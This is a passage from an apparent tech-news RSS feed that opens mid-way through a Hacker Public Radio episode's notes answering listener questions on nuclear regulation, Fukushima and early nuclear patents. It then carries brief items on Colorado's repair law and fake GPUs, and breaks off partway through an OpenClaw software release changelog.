What designers are looking for is feedback on their design as they go along in order to align the design with what safety regulators see as being required from their standpoint. </p>

<p>
They want to go into a review process before the design is finalized so they can get guidance on how they should approach things rather than trying to add safety as additional features on top of a finished design.</p>

<p>

</p>

<p>
55</p>

<p>
It would take someone with deep familiarity with nuclear regulation systems to understand the practical effects of recent changes in US regulatory systems, but it is quite possible that people within the regulatory structure in the US have been taking the above on board and trying to adapt to current circumstances.</p>

<p>
However, I can only speculate on that. </p>

<p>
This is about the best answer that I can give.</p>

<p>

</p>

<p>

</p>

<p>
56 Question 3</p>

<p>
the odd things done after fukushima, </p>

<p>

</p>

<p>
57 Answer</p>

<p>

</p>

<p>
This covers a lot of topics, some of which are probably political and so are not suited to HPR.</p>

<p>
I will try to list a few events however.</p>

<p>
As a brief summary if the Fukushima events go however, a historic scale earthquake and tsunami in Japan in 2011 caused huge loss of life and widespread damage.</p>

<p>
About 20,000 people were killed by the earthquake and tsunami.</p>

<p>

</p>

<p>
Three nuclear reactors based on 1960s era GE BWR designs were seriously damaged by hydrogen explosions caused by loss of power to backup generators when they were flooded by the tsunami.</p>

<p>
However, there were no radiation related deaths or cases of radiation sickness.</p>

<p>

</p>

<p>
58</p>

<p>
Following events in Japan was a general review of designs around the world, with various improvements made in some areas, particularly backup generators and hydrogen management.</p>

<p>

</p>

<p>
It seems to be conventional wisdom that the Fukushima event caused a number of countries to decide to phase out nuclear power.</p>

<p>

</p>

<p>
59</p>

<p>
However, when I tried to make a list of such countries for this episode I found things were not as is often heard.</p>

<p>
The countries which decided to get rid of nuclear power had largely started down that road at least a decade before then and generally for reasons unrelated to any specific events outside of their own country.</p>

<p>
In other cases they reversed that decision or are in the process of doing so.</p>

<p>
Japan itself has restarted many of their nuclear power plants and plant to replace decommissioned nuclear power plants with new ones, although many of the older and smaller ones were considered not economically worth upgrading at this point in their life to restart them. </p>

<p>

</p>

<p>
60</p>

<p>
The one possible exception to this may be Taiwan which decided to phase out nuclear power in 2016.</p>

<p>
However, I don't know enough about Taiwanese politics to state with any confidence that their decision in 2016 was based on anything related to events in Japan, or whether in fact they were a byproduct of other political changes within Taiwan and the shut down of nuclear plants happened to be carried along with those.</p>

<p>
Currently Taiwan get their electricity primarily from natural gas and coal. </p>

<p>

</p>

<p>
61</p>

<p>
Meanwhile across mainland Asia from Turkey to China, large numbers of nuclear power plants were  built or are under construction.</p>

<p>
Taken together on a global scale, did anything really change after Fukushima, or did the countries which had already decided to close down their nuclear power plants simply continue to do so, and those countries who decided they wanted more of them continue to build them?</p>

<p>
That's a good question for which I don't think anyone has the perspective to answer at this point. </p>

<p>

</p>

<p>
62</p>

<p>
Another side of this which is hard to disentangle from it though is the increased use of natural gas for electric power generation which was happening at around the same time. </p>

<p>
Increased use of fracking in a number of countries, plus increased supplies from Russia and LNG from the Middle East and other places resulted in falls in natural gas prices in many places.</p>

<p>
Since combined cycle natural gas turbines form the main competitor to nuclear power, anything which improves the economics of natural gas will act to reduce demand for nuclear power.</p>

<p>
This makes it hard to decide to what degree the reduction in the number of reactors being built was due to the political effects of the earthquake and tsunami and to what degree it was due to cheaper natural gas through fracking and other means.</p>

<p>

</p>

<p>
I'll leave that question at that.</p>

<p>

</p>

<p>
63 Question 4</p>

<p>
the new radiation rules in the states.</p>

<p>

</p>

<p>
64 Answer</p>

<p>

</p>

<p>
I'm not deeply familiar with US radiation rules, but I will attempt to answer the question.</p>

<p>

</p>

<p>
Apparently there are wide variety of different things being addressed, only some of which have any relevance to the nuclear power industry.</p>

<p>
One of these is an epidemiological study on the current exposure limits for workers in the nuclear industry.</p>

<p>
This study will take place over about 5 years.</p>

<p>

</p>

<p>
In the end it may not result in any changes. </p>

<p>
This is for a number of reasons.</p>

<p>

</p>

<p>
65</p>

<p>
One is that US exposure thresholds for workers are currently aligned with international standards.</p>

<p>
It would be difficult for the US industry to operate on a different basis than the rest of the world when supply chains are global and kit is designed to meet currently recognized standards.</p>

<p>

</p>

<p>
Another is that apparently the nuclear industry are not, so far as I can discern, asking for any changes to limits.</p>

<p>
They instead are looking for changes to how some of the details are being applied, such as for example the criteria for deciding when respirators are required in low risk environments.</p>

<p>

</p>

<p>
66</p>

<p>
Some point to recent changes in UK regulations as an example of what they are looking for.</p>

<p>
I will post a link to the new (November of 2025) UK regulations in the show notes.</p>

<p>
https://www.gov.uk/government/publications/nuclear-industry-principles-to-guide-the-application-of-as-low-as-reasonably-practicable-alarp-and-best-available-techniques-bat/ways-of-working-principles-to-guide-the-application-of-alarp-and-bat-in-the-nuclear-industry-accessible-webpage</p>

<p>

</p>

<p>
This is about as much detail as I think I can comment on when it comes to this question, as I think it is a subject that requires a fair bit more practical knowledge of than I have in order to give a thorough and balanced answer. </p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
67 Question from Antoine</p>

<p>

</p>

<p>
Were/are the designs patented?</p>

<p>

</p>

<p>
Hi, Whiskeyjack.</p>

<p>
Nice ep.</p>

<p>
You said AGR, based on Magnox, was a nuclear reactor type that did not sell well outside the UK. I then started thinking if it were (is) possible to another countries to develop by themselves based on that project, or if it had (has) a commercial restriction for exploration of the technology.</p>

<p>
I have yet to listen to the following episodes (doing little by little) and may learn better on the choices, but I felt free to present the question by now...</p>

<p>
Thanks!</p>

<p>

</p>

<p>
68 Answer</p>

<p>
This is a very good question because it offers the opportunity to talk about a number of interesting things that haven't been touched on yet.</p>

<p>

</p>

<p>
Let's cover a bit of background first.</p>

<p>

</p>

<p>
69</p>

<p>
A patent is a time limited right to exploit a defined bit of valuable technical knowledge. </p>

<p>
Patents were involved from the very earliest days of commercial nuclear power, and I will give an example of this later.</p>

<p>
A key point to keep in mind though is that the nuclear power field moves very slowly and it takes a long time for new knowledge to make it from the lab to commercial application.</p>

<p>
Patents will often expire before they reach the point where they can be used.</p>

<p>

</p>

<p>
70</p>

<p>
Contracts on the other hand are legally enforceable agreements between two parties.</p>

<p>
A contract may have a time limited life, but that is an arrangement between the parties.</p>

<p>
A commercial nuclear power plant is a very large and complex bit of kit and not easily copied in detail.</p>

<p>
It can be far more effective to cover designs under contracts and licenses than to rely on patents.</p>

<p>
If a country wished to build their own nuclear power plants rather than buying them from someone else, there are a large number of companies who have commercial designs they are willing to license to third parties for them to build themselves.</p>

<p>
Indeed a number of these companies base their business around licensing of designs or have other reasons for wishing to do so.</p>

<p>

</p>

<p>
71</p>

<p>
From a licensee perspective, it could take decades of work and  hundreds of millions or even billions of dollars to take a design from first principle to the ready to build state, wheras licensing a design give you a proven design right away.</p>

<p>

</p>

<p>
As mentioned in previous episodes, there many types of reactor in the world.</p>

<p>
The selection of what sort of reactor a country decides to buy often depends more on commercial considerations revolving around licensing terms and conditions than it does with respect to any technical considerations. </p>

<p>

</p>

<p>
Here's an example which shows how South Korea decided to license a design, build it for themselves, and then export it to other countries. </p>

<p>

</p>

<p>
72</p>

<p>
KunMo Chung - Professor at the Korea Advanced Institute of Science and Technology, stated in an interview in 2019 that South Korea wanted to standardize on a single reactor technology in the early 1980s. </p>

<p>

</p>

<p>
They had reactors from multiple different vendors, but wanted to license an existing successful design to produce for themselves and for the export market. One of the major factors in deciding to standardize was to allow them to improve operator training by focusing on one design. </p>

<p>

</p>

<p>
Professor Chung stated that one of the key factors in selecting a design from ABB-Combustion Engineering was that he personally knew and had a good relationship with the Chief Technical Officer of ABB-Combustion Engineering going back to a time when Professor Chung had been studying and working in the USA. </p>

<p>

</p>

<p>
73</p>

<p>
On their side, ABB-Combustion Engineering were having financial problems and they needed a partner to help further develop their new PWR design. Also they stood to gain revenue from this partnership as well.</p>

<p>

</p>

<p>
Based on this relationship, the two sides came to a business agreement and South Korea began producing reactors based on this design, while also continuing to develop and improve it further. </p>

<p>

</p>

<p>

</p>

<p>
74</p>

<p>
Here's an example of a case where the developers of a promising technology decided that they had more to gain by not patenting their technology.</p>

<p>
Instead they decided to freely share their information in order to get other researchers elsewhere to help to advance the technology so that all could benefit from it.</p>

<p>

</p>

<p>
75</p>

<p>
In an interview Wacław Gudowski - Prof. Emeritus, Royal Institute of Technology KTH Stockholm</p>

<p>
stated that the Soviets and later the Russian were the leaders in lead-bismuth cooled reactors.</p>

<p>
These reactors use lead-bismuth liquid metal alloy as a coolant.</p>

<p>
In the 1990s the Russian institute working on commercializing this technology were working with Western partners on nuclear technology in general.</p>

<p>
They considered patenting this technology, but in the end decided to simply publish it openly.</p>

<p>
76</p>

<p>
Professor Gudowski had even smuggled $60,000 in cash into Russia to finance the patent application in order to get the Russian institute to publish their technology, but the money was not needed. </p>

<p>
They based this decision on the judgment that it would take 20 years of R&amp;D before the technology was ready for the commercial market, so they wouldn't see a penny on any  patents anyway.</p>

<p>
They were right on this, as it was another 20 years of R&amp;D in Europe, Russia, China, and Korea before lead-bismuth technology was ready for commercial use. </p>

<p>
77</p>

<p>
It had already seen use in submarine reactors, but the commercial market demanded a more thoroughly developed technology to satisfy commercial needs. </p>

<p>
By deciding to not patent the technology, the original developers gained from shared R&amp;D rather than chasing the illusary gains from patent licenses on technology that was not ready for the commercial market anyway.</p>

<p>

</p>

<p>

</p>

<p>
78</p>

<p>
I said that patents were involved in nuclear technology from the very earliest days, and I will now turn to that story.</p>

<p>
When I say the earliest days, I mean probably earlier than you are imaging. </p>

<p>
I am talking about before WWII.</p>

<p>

</p>

<p>
79</p>

<p>
First though I need to give some background information.</p>

<p>
France and Britain were working on nuclear weapons from the very earliest days of WWII.</p>

<p>
In Britain's case this was called Tube Alloys.</p>

<p>
Canada also was conducting nuclear experiments, including building an "atomic pile", but it's not clear if this had any clear practical goals or was done to understand the physics better.</p>

<p>

</p>

<p>
80</p>

<p>
If you read the Wikipedia version of history, it states that Tube Alloys was merged into the Manhattan Project.</p>

<p>
However, participants have stated in interviews that this was not the case, and the Quebec Agreement which supposedly merged them makes no such mention of any merger of the projects, just the setting up of a board to coordinate efforts between the three countries, that is the US, UK, and Canada.</p>

<p>
In fact the two projects didn't get along that well, and as we shall see below, a big part of that was disputes over patents.</p>

<p>

</p>

<p>

</p>

<p>
###</p>

<p>

</p>

<p>
81</p>

<p>
The following is based on a paper written by Bertrand Goldschmidt, a French nuclear scientist. </p>

<p>
Two of his colleagues, Hans Halban and Lew Kowarski played a critical role in early nuclear research.</p>

<p>
Halban in particular was one of the greatest scientific names in nuclear fission.</p>

<p>
In March of 1939 Halban conducted an experiment showing that neutrons were emitted by the fissioning of uranium.</p>

<p>

</p>

<p>
82</p>

<p>
In April Joliot, Halban, Kowarski and Perrin had a pretty good idea of how to use nuclear fission to produce energy and to make an explosive device and decided to file patents on their invention. Each of the four would receive a 5% share of any benefits and the other 80% would go to the research instittute they worked at in Paris.</p>

<p>

</p>

<p>
I will now quote from Goldschmidt's paper.</p>

<p>

</p>

<p>
83</p>

<p>
The first two patents concerned energy production and were entitled "Device for energy production" and "Method for stabilizing a device for energy production." They roughly defined the principles of the main components of our present power reactors: moderator in heterogeneous or homogeneous arrangements, cooling fluid, control rods, protection shield. The third patent called "Method for perfecting explosive charges" was less brilliant from a foresight point of view though it proposed valid solutions for the trigger, the tamper, and the rapid obtainment of the critical assembly of a possible explosive device. Finally, nearly a year later, after Alfred Nier's experimental confirmation in March 1940 of Niels Bohr's theoretical prediction that uranium 235, the rare isotope of the mixture in natural uranium, was responsible for fission by slow neutrons, the French took out an additional patent on the advantage of using enriched uranium for the chain reaction.</p>

<p>

</p>

<p>
End of quote.</p>

<p>

</p>

<p>
84</p>

<p>
In May of 1940, the CNRS, the French research institute in Paris, negotiated an agreement with Belgian mining company Union Miniere, who were the world's biggest producer of uranium, at the time a byproduct of radium mining, about a partnership for the world wide exploitation of these patents. However the agreement was not finalized due to the ongoing events in the war.</p>

<p>

</p>

<p>
At the beginning of the war, the French government had approved the development of an energy generator - or a nuclear reactor as we would say today, with the intention of creating an engine for submarines.</p>

<p>

</p>

<p>
85</p>

<p>
With the fall of France, Halban and Kowarski travelled to the UK with their supply of heavy water where they were received by their UK counterparts, James Chadwick and John Cockroft. The British were already working on an atomic bomb.</p>

<p>

</p>

<p>
In the UK the two conducted an experiment showing that it was possible to create nuclear energy using natural uranium and heavy water.</p>

<p>

</p>

<p>
In 1941 the British nuclear project was reorganized and given the name Tube Alloys. In 1942 it was decided to move the work on a plutonium bomb to Canada, and Canada would pay for the project. A lab was set up in Montreal and Halban was put in charge of the project.</p>

<p>

</p>

<p>
86</p>

<p>
Halban had negotiated this arrangement by offering to arrange to have the French patents  for world wide rights outside of France and the French empire transferred to the UK. In return the French team were to be given a key role in the British nuclear project.</p>

<p>

</p>

<p>
The author of the paper I am referencing, Bertrand Goldschmidt, was a section leader in Montreal and a colleague of Halban from France. </p>

<p>

</p>

<p>
The Montreal group cooperated with the American Manhattan Project and the two shared information and exchanged visits.</p>

<p>

</p>

<p>
87</p>

<p>
However, relations between the two began to break down, with a major cause of this being the Americans being unhappy about the French patents and Halban's arrangement to give the British world wide rights to them. The postwar commercial potential for nuclear power was seen to be huge, and this was a major bone of contention. The extensive participation of ICI (Imperial Chemical Industries) engineers in the Tube Alloys project was also objectionable to the Americans. Presumably this had something to do with potential for ICI being involved in future commercialization of the technology. The American Dupont company, a commercial rival of ICI, was also heavily involved in the American atomic bomb project. The eventual result of this was that the US cut off cooperation with the UK-Canada nuclear project. </p>

<p>

</p>

<p>
88</p>

<p>
Finally Halban was forced out of the project at the insistence of the Americans, and he was replaced by John Cockroft who moved to Montreal to take charge of the project. The Americans now restore limited cooperation. </p>

<p>

</p>

<p>
Kowarski was put in charge of building a heavy water moderated natural uranium reactor at a new site north of Ottawa at Chalk River. This reactor was turned on on the 5th of September, 1945, three days after Japan's surrender.</p>

<p>

</p>

<p>
So in what was supposedly a titanic war for survival, key allies were falling out with respect to their ultimate weapon over issues of patents covering post war commercialization. </p>

<p>

</p>

<p>
89</p>

<p>
With the end of the war, the nuclear weapons project in Montreal and Chalk River was wound up. </p>

<p>
Halban, Kowarski, and Goldschmidt returned to France and Cockroft to the UK where they all played senior roles in the nuclear programs of their respective countries. </p>

<p>
John Cockroft played an important role in the development of the Magnox reactors which Antoine asked about.</p>

<p>
The Chalk River Site remains as Canada's main nuclear research centre to this day, and Canada was to continue development of heavy water moderated natural uranium reactors. </p>

<p>

</p>

<p>
90</p>

<p>
The first commercial nuclear power plant was commissioned in the UK in 1956, roughly 17 years after the original French nuclear patents. </p>

<p>
At that time, UK patents had a term of 16 years. </p>

<p>
While I am not a patent lawyer, it would appear that these patents would likely have expired before nuclear power was ever commercialized.</p>

<p>

</p>

<p>
So to answer the question about patents, the first patents on nuclear energy date to before WWII started, and the very first two were about nuclear power plants and it was only the third one which covered nuclear weapons. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
91 Thanks to other listeners.</p>

<p>

</p>

<p>
A number of other listeners made comments saying they were really enjoying the series. I would like to thank the following for their kind words of encouragement. They helped make the work required to do this worthwhile.</p>

<p>

</p>

<p>
They are</p>

<p>

</p>

<p>
brian-in-ohio</p>

<p>
mnw</p>

<p>
Clinton</p>

<p>
Antoine</p>

<p>
bjb</p>

<p>
Kevin O'Brien</p>

<p>
Trey</p>

<p>
L'andrew</p>

<p>
Archer72</p>

<p>
Jim DeVore</p>

<p>

</p>

<p>
If you have commented but I have forgotten your name, or if the show was recorded before I got a chance to read your comment, I would still like to thank you.</p>

<p>

</p>

<p>

</p>

<p>
92 Conclusion</p>

<p>

</p>

<p>
I would like to thank all the listeners for their kind comments and insightful questions.</p>

<p>
I hope that I have answered these questions to the satisfaction of everyone.</p>

<p>
I look forward to hearing from all of you in future podcast episodes including those on other topics.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>

</p>

<p>
Proceedings of the 29th annual conference of the Canadian Nuclear Association and 10th annual conference of the Canadian Nuclear Society. V. 1-3</p>

<p>
https://inis.iaea.org/records/m2s41-40917</p>

<p>
This has a paper by Bertrand Goldschmidt about the work of the French scientists in Canada.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4628/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Colorado's Anti-Repair Bill Is Dead]]></title>
<description><![CDATA[Colorado has led the US on legislation that ensures people can fix their stuff. Manufacturers tried to claw back that control, but ultimately failed—for now.]]></description>
<link>https://tsecurity.de/de/3471550/it-nachrichten/colorados-anti-repair-bill-is-dead/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3471550/it-nachrichten/colorados-anti-repair-bill-is-dead/</guid>
<pubDate>Tue, 28 Apr 2026 16:16:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Colorado has led the US on legislation that ensures people can fix their stuff. Manufacturers tried to claw back that control, but ultimately failed—for now.]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake GPUs have gotten so good, even a repair expert was initially fooled by this scam Nvidia RTX 4090 — so be careful out there]]></title>
<description><![CDATA['This is the best scam I've ever seen': repair expert can't believe how good this fake Nvidia RTX 4090 GPU is.]]></description>
<link>https://tsecurity.de/de/3471492/it-nachrichten/fake-gpus-have-gotten-so-good-even-a-repair-expert-was-initially-fooled-by-this-scam-nvidia-rtx-4090-so-be-careful-out-there/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3471492/it-nachrichten/fake-gpus-have-gotten-so-good-even-a-repair-expert-was-initially-fooled-by-this-scam-nvidia-rtx-4090-so-be-careful-out-there/</guid>
<pubDate>Tue, 28 Apr 2026 16:03:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA['This is the best scam I've ever seen': repair expert can't believe how good this fake Nvidia RTX 4090 GPU is.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw 2026.4.26]]></title>
<description><![CDATA[2026.4.26
Changes

Channels/QQBot: add full group chat support (history tracking, @-mention gating, activation modes, per-group config, FIFO message queue with deliver debounce), C2C stream_messages streaming with a StreamingController lifecycle manager, unified sendMedia with chunked upload for ...]]></description>
<link>https://tsecurity.de/de/3469725/downloads/openclaw-2026426/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3469725/downloads/openclaw-2026426/</guid>
<pubDate>Tue, 28 Apr 2026 03:16:14 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.4.26</h2>
<h3>Changes</h3>
<ul>
<li>Channels/QQBot: add full group chat support (history tracking, @-mention gating, activation modes, per-group config, FIFO message queue with deliver debounce), C2C <code>stream_messages</code> streaming with a <code>StreamingController</code> lifecycle manager, unified <code>sendMedia</code> with chunked upload for large files, and refactor the engine into pipeline stages, focused outbound submodules, builtin slash-command modules, and explicit DI ports via <code>createEngineAdapters()</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4316471394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70624" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70624/hovercard" href="https://github.com/openclaw/openclaw/pull/70624">#70624</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cxyhhhhh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cxyhhhhh">@cxyhhhhh</a>.</li>
<li>Channels/Yuanbao: register the Tencent Yuanbao external channel plugin (<code>openclaw-plugin-yuanbao</code>) in the official channel catalog, contract suites, and community plugin docs, with a new <code>docs/channels/yuanbao.md</code> quick-start guide for WebSocket bot DMs and group chats. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335031388" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72756" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72756/hovercard" href="https://github.com/openclaw/openclaw/pull/72756">#72756</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>.</li>
<li>Control UI/Talk: add a generic browser realtime transport contract, Google Live browser Talk sessions with constrained ephemeral tokens, and a Gateway relay for backend-only realtime voice plugins. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VACInc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VACInc">@VACInc</a>.</li>
<li>CLI/models: route provider-filtered model listing through an explicit source plan so user config, installed manifest rows, Provider Index previews, and scoped runtime fallbacks keep a stable authority order without adding another catalog cache. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Providers: add Cerebras as a bundled plugin with onboarding, static model catalog, docs, and manifest-owned endpoint metadata.</li>
<li>Memory/OpenAI-compatible: add optional <code>memorySearch.inputType</code>, <code>queryInputType</code>, and <code>documentInputType</code> config for asymmetric embedding endpoints, including direct query embeddings and provider batch indexing. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4226871410" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63313" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/63313/hovercard" href="https://github.com/openclaw/openclaw/pull/63313">#63313</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4203912952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60727" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/60727/hovercard" href="https://github.com/openclaw/openclaw/issues/60727">#60727</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HOYALIM/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HOYALIM">@HOYALIM</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/prospect1314521/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/prospect1314521">@prospect1314521</a>.</li>
<li>Ollama/memory: add model-specific retrieval query prefixes for <code>nomic-embed-text</code>, <code>qwen3-embedding</code>, and <code>mxbai-embed-large</code> memory-search queries while leaving document batches unchanged. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4070329121" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45013" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/45013/hovercard" href="https://github.com/openclaw/openclaw/pull/45013">#45013</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/laolin5564/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/laolin5564">@laolin5564</a>.</li>
<li>Plugins/providers: move pre-runtime model-id normalization, endpoint host metadata, OpenAI-compatible request-family hints, model-catalog aliases/suppressions, OpenAI stale Spark suppression, and reusable startup metadata snapshots into plugin manifests so core no longer carries bundled-provider routing tables or repeated manifest rebuilds. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/config: deprecate direct plugin config load/write helpers in favor of passed runtime snapshots plus transactional mutation helpers with explicit restart follow-up policy, scanner guardrails, runtime warnings, and revision-based cache invalidation.</li>
<li>Plugins/install: allow <code>OPENCLAW_PLUGIN_STAGE_DIR</code> to contain layered runtime-dependency roots, resolving read-only preinstalled deps before installing missing deps into the final writable root. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332156784" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72396" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72396/hovercard" href="https://github.com/openclaw/openclaw/issues/72396">#72396</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liorb-mountapps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liorb-mountapps">@liorb-mountapps</a>.</li>
<li>Control UI: add a raw config pending-changes diff panel that parses JSON5, redacts sensitive values until reveal, and avoids fake raw-edit callbacks when opening the panel. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041206573" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39831/hovercard" href="https://github.com/openclaw/openclaw/issues/39831">#39831</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4085689943" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48621" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/48621/hovercard" href="https://github.com/openclaw/openclaw/pull/48621">#48621</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077071028" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46654" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46654/hovercard" href="https://github.com/openclaw/openclaw/pull/46654">#46654</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JiajunBernoulli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JiajunBernoulli">@JiajunBernoulli</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Control UI: polish the quick settings dashboard grid so common cards align across desktop, tablet, and mobile layouts without wasting horizontal space. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Matrix/E2EE: add <code>openclaw matrix encryption setup</code> to enable Matrix encryption, bootstrap recovery, and print verification status from one setup flow. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gumadeiras/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gumadeiras">@gumadeiras</a>.</li>
<li>Agents/compaction: add an opt-in <code>agents.defaults.compaction.maxActiveTranscriptBytes</code> preflight trigger that runs normal local compaction when the active JSONL grows too large, requiring transcript rotation so successful compaction moves future turns onto a smaller successor file instead of raw byte-splitting history. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>CLI/migration: add <code>openclaw migrate</code> with plan, dry-run, JSON, pre-migration backup, onboarding detection, archive-only reports, a Claude Code/Desktop importer, and a Hermes importer for configuration, memory/plugin hints, model providers, MCP servers, skills, commands, and supported credentials. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a> and <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/NousResearch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NousResearch">@NousResearch</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agents/LSP: terminate bundled stdio LSP process trees during runtime disposal and Gateway shutdown, so nested children such as <code>tsserver</code> do not survive stop or restart. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331967579" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72357" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72357/hovercard" href="https://github.com/openclaw/openclaw/issues/72357">#72357</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bittoby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bittoby">@bittoby</a>.</li>
<li>Gateway/device tokens: stop echoing rotated bearer tokens from shared/admin <code>device.token.rotate</code> responses while preserving the same-device token handoff needed by token-only clients before reconnect. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4264445683" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66773" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66773/hovercard" href="https://github.com/openclaw/openclaw/issues/66773">#66773</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MoerAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MoerAI">@MoerAI</a>.</li>
<li>Control UI/Talk: keep Google Live browser sessions on the WebSocket transport instead of falling back to WebRTC, validate browser Google Live WebSocket endpoints, cap Gateway relay sessions per browser connection, and remove stale browser-native voice buttons that did not use the configured Talk/TTS provider. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
